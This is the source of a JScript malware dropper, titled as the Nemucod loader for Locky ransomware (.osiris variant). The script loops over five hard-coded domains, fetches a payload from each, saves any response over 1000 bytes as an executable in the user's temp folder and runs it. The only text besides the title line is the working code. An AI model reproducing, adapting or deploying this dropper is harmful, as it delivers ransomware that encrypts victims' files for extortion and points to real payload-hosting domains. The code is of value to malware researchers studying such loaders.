Nemucod Dropper for Locky .osiris

var am = "0.41463003";
var ld = 0;
var cq = String.fromCharCode(34);
var cs = String.fromCharCode(92);
var ll = ["babypbshop.ru", "batux.com.br", "partnerbrasilia.com.br", "www.6c.com.co", "otpugivatel.by"];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".txt")) {
    var fp = fo.CreateTextFile(fn + ".txt", true);
    fp.WriteLine("");
    fp.Close();
    for (var n = 0; n <= 2; n++) {
        for (var i = ld; i < ll.length; i++) {
            var dn = 0;
            try {
                xo.open("GET", "http://" + ll[i] + "/counter/?a=" + am + "&r=" + i + n, false);
                xo.send();
                if (xo.status == 200) {
                    xa.open();
                    xa.type = 1;
                    xa.write(xo.responseBody);
                    if (xa.size > 1000) {
                        dn = 1;
                        xa.saveToFile(fn + n + ".exe", 2);
                        try {
                            ws.Run(fn + n + ".exe", 1, 0);
                        } catch (er) {};
                    };
                    xa.close();
                };
                if (dn == 1) {
                    ld = i;
                    break;
                };
            } catch (er) {};
        };
    };
};